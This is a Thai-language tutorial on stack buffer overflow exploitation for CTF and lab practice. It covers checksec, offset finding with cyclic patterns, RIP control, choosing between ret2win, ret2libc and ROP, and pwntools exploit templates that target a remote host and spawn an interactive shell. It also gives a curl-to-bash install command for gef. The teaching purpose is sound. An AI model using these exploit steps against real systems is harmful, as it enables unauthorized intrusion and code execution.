คลัง
pwn

Buffer Overflow

Buffer Overflow เป็นรากฐานของ binary exploitation ทั้งหมด — เกิดเมื่อโปรแกรมเขียนข้อมูลเกินขนาด buffer ที่จองไว้ ทับ memory ข้างเคียงรวมถึง return address ที่ควบคุม execution flow บทนี้ลงลึกตั้งแต่กลไก stack, การหา offset แบบละเอียด, การอ่าน checksec, การควบคุม RIP, ไปจนถึงการเลือกเทคนิค exploit ตาม protection พร้อมโค้ดจริงทุกขั้น (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาตเท่านั้น)

BeginnerIntermediateAdvanced#buffer-overflow#pwn#memory-corruption#stack#offset#gdb#pwntools#ctf

1. หลักการและกลไก stack

ในภาษา C ตัวแปร local ถูกจองบน stack เมื่อฟังก์ชันถูกเรียก จะมีการ push ข้อมูลตามลำดับ: argument, return address (ที่อยู่ที่จะกลับไปหลังฟังก์ชันจบ), saved RBP, แล้วจองพื้นที่ให้ตัวแปร local (รวม buffer) ปัญหาเกิดเมื่อโปรแกรมรับ input ลง buffer โดยไม่ตรวจความยาว (เช่น gets(), strcpy(), scanf("%s")) — input ที่ยาวเกินจะล้นจาก buffer ขึ้นไปทับ saved RBP และ return address

stack โตจาก address สูงลงต่ำ แต่การเขียน buffer เขียนจาก address ต่ำขึ้นสูง — ดังนั้นการ overflow จาก buffer จึงเขียนทับสิ่งที่อยู่ 'ข้างบน' (address สูงกว่า) ได้แก่ saved RBP และ return address ถ้าเราควบคุม return address ได้ ตอนฟังก์ชัน ret CPU จะ pop ค่านั้นเข้า RIP แล้วกระโดดไป — เท่ากับเราควบคุม execution flow

Stack frame และทิศทางการ overflow
Stack — address สูงอยู่บน · ต่ำอยู่ล่าง function arguments return address saved RBP buffer[64] input เริ่มเขียนที่นี่ RSP overflow → input ยาว → ทับ RBP ยาวมาก → คุม RIP payload = b'A'*72 + p64(target) // fill buffer + rbp, overwrite saved return address
เนื้อหานี้เพื่อการศึกษาและฝึกในสภาพแวดล้อมที่ได้รับอนุญาต (CTF, lab ส่วนตัว, การสอบ certification) — การโจมตีระบบจริงโดยไม่ได้รับอนุญาตผิดกฎหมาย
exploit buffer overflow — ขั้นตอน
checksec ดู protection
NX? PIE? Canary? RELRO?
หา offset ถึง return address
cyclic pattern → ดูค่าที่ทับ EIP/RIP
มี protection อะไรบ้าง?
ไม่มี NXret2shellcode (วาง shellcode บน stack)
NX เปิด, no PIEret2libc / ROP
Canaryleak canary ก่อน
PIEleak address ก่อน (หา base)
สร้าง payload: padding + (canary) + addr
pwntools: cyclic, p64(), ROP()
ได้ control RIP → shell / อ่าน flag

2. ฟังก์ชันอันตรายที่ทำให้เกิด overflow

ฟังก์ชันปัญหาทางเลือกปลอดภัย
gets(buf)ไม่จำกัดความยาวเลย (อันตรายสุด)fgets(buf, size, stdin)
strcpy(dst, src)copy จนเจอ null ไม่เช็คขนาด dststrncpy / strlcpy
strcat(dst, src)ต่อ string ไม่เช็คขนาดstrncat
sprintf(buf, ...)เขียนไม่จำกัดขนาด bufsnprintf
scanf("%s", buf)อ่านจนเจอ whitespace ไม่จำกัดscanf("%63s", buf)
memcpy(d, s, n)ถ้า n ควบคุมได้/ผิด = overflowตรวจ n ก่อน

ใน static analysis (Ghidra/IDA) ให้มองหา call เหล่านี้ — โดยเฉพาะ gets และ strcpy ที่ source ควบคุมได้ มักเป็นจุดที่ตั้งใจทำให้ overflow ในโจทย์ CTF

3. ตรวจ protections ก่อนเสมอ (checksec)

ก่อนเริ่ม exploit ต้องรู้ว่า binary มี mitigation อะไรเปิดอยู่ — มันกำหนดว่าจะใช้เทคนิคไหนได้ checksec (มากับ pwntools หรือ pwndbg/gef) บอกทั้งหมด

checksec และความหมายแต่ละค่าLinux
checksec ./vuln
# ผลลัพธ์ที่ต้องอ่าน:
#   Arch:     amd64-64-little
#   RELRO:    Partial/Full RELRO   → Full = GOT overwrite ไม่ได้
#   Stack:    No canary found      → ไม่มี canary = overflow ง่าย
#             Canary found         → ต้อง leak canary ก่อน
#   NX:       NX enabled           → stack รันโค้ดไม่ได้ → ต้อง ROP/ret2libc
#   PIE:      No PIE (0x400000)    → address คงที่ ใช้ตรงๆ ได้
#             PIE enabled          → base สุ่ม ต้อง leak

# ดูใน gdb ด้วย (pwndbg/gef)
gdb ./vuln
gef> checksec
อ่าน 4 ค่า: Canary (มี→ต้อง leak), NX (เปิด→ROP), PIE (เปิด→leak base), RELRO (Full→GOT readonly)
protectionถ้าเปิด ต้องทำอะไรหัวข้อที่เกี่ยว
No canary + No NX + No PIEง่ายสุด: ret2shellcode/ret2winstack-overflow
NX enabledใช้ ROP / ret2libc (code reuse)nx, rop, ret2libc
Canary foundleak canary ก่อน (format string/partial)format-string
PIE enabledleak address → คำนวณ basepie, aslr
Full RELROoverwrite GOT ไม่ได้ → หาทางอื่นgot-overwrite

4. หา offset — ระยะถึง return address

หัวใจของ buffer overflow คือรู้ว่าต้องเขียนกี่ byte ถึงจะถึง return address พอดี — เรียกว่า offset วิธีที่แม่นและเร็วสุดคือใช้ cyclic pattern (De Bruijn sequence) ที่ทุก substring ไม่ซ้ำกัน ทำให้ดูจากค่าที่ crash ย้อนกลับเป็น offset ได้ทันที

หา offset ด้วย cyclic (pwntools + gdb)Linux
# 1. สร้าง cyclic pattern
python3 -c "from pwn import *; print(cyclic(200).decode())"
# หรือใน gef: pattern create 200

# 2. รันใน gdb แล้วป้อน pattern ให้ crash
gdb ./vuln
gef> run
# (วาง pattern เมื่อโปรแกรมรับ input)

# 3. ดูค่าใน RSP ตอน crash (มักเป็น pattern ที่ทับ return addr)
gef> x/wx $rsp
# เช่นได้ 0x6161616c

# 4. หา offset จากค่านั้น
python3 -c "from pwn import *; print(cyclic_find(0x6161616c))"
# หรือ gef: pattern search 0x6161616c
# ได้ offset เช่น 72 = ต้องเขียน 72 byte ถึงจะถึง return address
64-bit: ดู RSP ตอน crash (ret address ถูก pop ไปแล้ว); หรือตั้ง breakpoint ที่ ret ดู RSP ก่อน
ถ้า crash แล้ว RIP เป็น 0x6161616161616161 (8 ตัว 'a') ตรงๆ แสดงว่าควบคุม RIP ได้แล้ว — ใช้ cyclic_find กับ 8 byte แรกที่อยู่ใน RSP หา offset ที่แม่นยำ

5. ยืนยันการควบคุม RIP

ทดสอบว่าคุม return address ได้Linux
from pwn import *

p = process('./vuln')
offset = 72                          # จาก cyclic_find

# ส่ง A*offset + ค่าทดสอบที่จำง่าย (BBBBBBBB)
payload = b'A' * offset + b'BBBBBBBB'
p.sendline(payload)
p.wait()

# ดู core dump / gdb: ถ้า RIP = 0x4242424242424242 = คุมได้!
# core = p.corefile; print(hex(core.rip))
0x4242424242424242 = 'BBBBBBBB' ใน RIP ยืนยันว่า offset ถูกต้องและคุม RIP ได้ พร้อมใส่ payload จริง

6. เลือกเส้นทาง exploit ตาม protection

  1. 1No NX + มีฟังก์ชัน win: ret2win — ชี้ return addr ไปฟังก์ชันนั้น (ดู stack-overflow)
  2. 2No NX + ไม่มี win: ret2shellcode — วาง shellcode บน stack แล้วชี้ไป
  3. 3NX enabled: ret2libc — กระโดดไป system("/bin/sh") ใน libc (ดู ret2libc)
  4. 4NX + ต้องจัด register/syscall: ROP chain (ดู rop)
  5. 5Canary: leak canary ก่อนแล้วใส่กลับใน payload (ดู format-string)
  6. 6PIE: leak address ในตัว binary → คำนวณ base ก่อน (ดู pie)
  7. 7ASLR (libc สุ่ม): leak libc address → คำนวณ (ดู aslr)
โครงสร้าง exploit ทั่วไป (pwntools)Linux
from pwn import *

elf = context.binary = ELF('./vuln')
# p = process('./vuln')        # local
p = remote('target.com', 1337)  # remote

offset = 72

# payload = padding + (canary ถ้ามี) + saved_rbp + return_target
payload  = b'A' * offset
payload += p64(target_address)    # เช่น win function / ROP chain / ret2libc

p.sendline(payload)
p.interactive()                   # รับ shell ถ้าสำเร็จ
โครงนี้คือพื้นฐาน — รายละเอียด target_address ขึ้นกับเทคนิค (ดูหัวข้อที่ลิงก์ในแต่ละขั้น)

7. Quick Reference

  • เกิดจากเขียนเกิน buffer (gets/strcpy/scanf %s) → ทับ return address
  • ขั้นแรกเสมอ: checksec ./vuln (Canary/NX/PIE/RELRO)
  • หา offset: cyclic(200) → crash → cyclic_find(ค่าใน RSP)
  • ยืนยันคุม RIP: A*offset + 'BBBBBBBB' → RIP=0x4242...
  • No NX → ret2win/ret2shellcode; NX → ret2libc/ROP
  • Canary → leak ก่อน; PIE → leak base; ASLR → leak libc
  • exploit: pwntools ELF() + p64(target) + interactive()

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติเพิ่งได้ไฟล์โจทย์ pwn มา มีแค่ Kali เปล่าๆ ยังไม่รู้ด้วยซ้ำว่าช่องโหว่คืออะไร — ทำตามนี้ทีละขั้น อย่าข้าม ทุกขั้นมีคำสั่งจริงพิมพ์ได้เลย

  1. 1file ./vuln ดู arch (32/64-bit) แล้ว checksec ./vuln ดู Canary/NX/PIE/RELRO — จำค่าไว้ทั้งหมด
  2. 2ลองส่ง input ยาวๆ ดูว่า crash ไหม: python3 -c "print('A'*300)" | ./vuln หรือรันแล้วพิมพ์มือ
  3. 3ถ้า crash (Segmentation fault) เปิด gdb ./vuln แล้วสร้าง cyclic pattern: gef> pattern create 200
  4. 4gef> run แล้ววาง pattern ลงช่อง input ที่โปรแกรมถาม รอจน crash
  5. 5ดูค่าตอน crash: gef> x/wx $rsp หรือดู RIP ตรงๆ (gef แสดงให้อัตโนมัติ)
  6. 6หา offset: gef> pattern search <ค่าที่เห็น> หรือ python3: cyclic_find(0x6161616c)
  7. 7ยืนยันคุม RIP: ส่ง b'A'*offset + b'BBBBBBBB' แล้วเช็คว่า RIP = 0x4242424242424242
  8. 8กลับไปดู checksec อีกรอบ แล้วตัดสินใจเทคนิคตาม flow ด้านล่าง (NX? PIE? Canary?)
  9. 9เขียน exploit ด้วย pwntools: elf = ELF('./vuln'); p = process('./vuln') ก่อนค่อยเปลี่ยนเป็น remote(host, port)
  10. 10ทดสอบ local ให้ได้ shell ก่อนเสมอ แล้วค่อยยิงใส่ remote
จับมือทำ: buffer overflow — ทีละขั้นจนได้ shell
checksec ./vuln
ดู Canary/NX/PIE/RELRO ก่อนอื่นเสมอ
ป้อน input ยาวๆ ดูว่า crash ไหม
✅ Segfault→ หา offset ด้วย cyclic pattern
❌ ไม่ crash เลย→ อาจไม่ใช่ stack overflow ตรงๆ ลองดู format string หรือจุดอื่น
หา offset ด้วย cyclic + gdb
pattern create/search หรือ cyclic_find
✅ เจอ offset แน่นอน→ ยืนยันคุม RIP
❌ crash ก่อนถึง offset ที่คาด→ อาจมี canary กั้นอยู่
ส่ง A*offset + BBBBBBBB → RIP เป็น 0x4242...ไหม
✅ คุม RIP ได้แล้ว→ ดู NX ตัดสินใจเทคนิค
❌ RIP ไม่ตรง→ เช็ค offset ใหม่ หรือมี canary
NX enabled ไหม
❌ No NX→ ง่าย: ret2win/ret2shellcode
✅ NX enabled→ ต้อง code-reuse (ROP/ret2libc)
PIE enabled ไหม
✅ PIE enabled→ leak binary base ก่อน
❌ No PIE→ address คงที่ ใช้ ROP/ret2libc ได้เลย
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
ดู protectionchecksecpipx install checksec.py (ถ้าไม่มีตัว binary)-
debug/หา offsetgdb + gef/pwndbgbash -c "$(curl -fsSL https://gef.blah.cat/sh)"-
สร้าง cyclic patternpwntools (python3)pipx install pwntools-
เขียน exploitpwntoolspip install pwntools-
หา ROP gadgetROPgadget / ropperpip install ropperropshell.com
ดู static analysis เพิ่มradare2apt install radare2dogbolt.org (decompiler เทียบหลายตัว)
encode/decode payloadpython3 -c-CyberChef
อ่านทฤษฎี ABI/stackman pages-wiki.osdev.org
🚑 ถ้าตันสนิท ลองท่าถัดไป: (1) stack-overflow — ถ้าคุม RIP ได้แล้วแต่ยังไม่รู้จะกระโดดไปไหน (2) format-string — ถ้ามี canary กั้นหรือเจอ printf(user_input) ระหว่างทาง (3) pie/aslr — ถ้า address สุ่มทุกครั้งที่รัน (4) nx/rop/ret2libc — ถ้า stack รันโค้ดไม่ได้ (5) heap-exploitation — ถ้าโจทย์ไม่มี buffer overflow บน stack เลยแต่มี malloc/free แปลกๆ

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้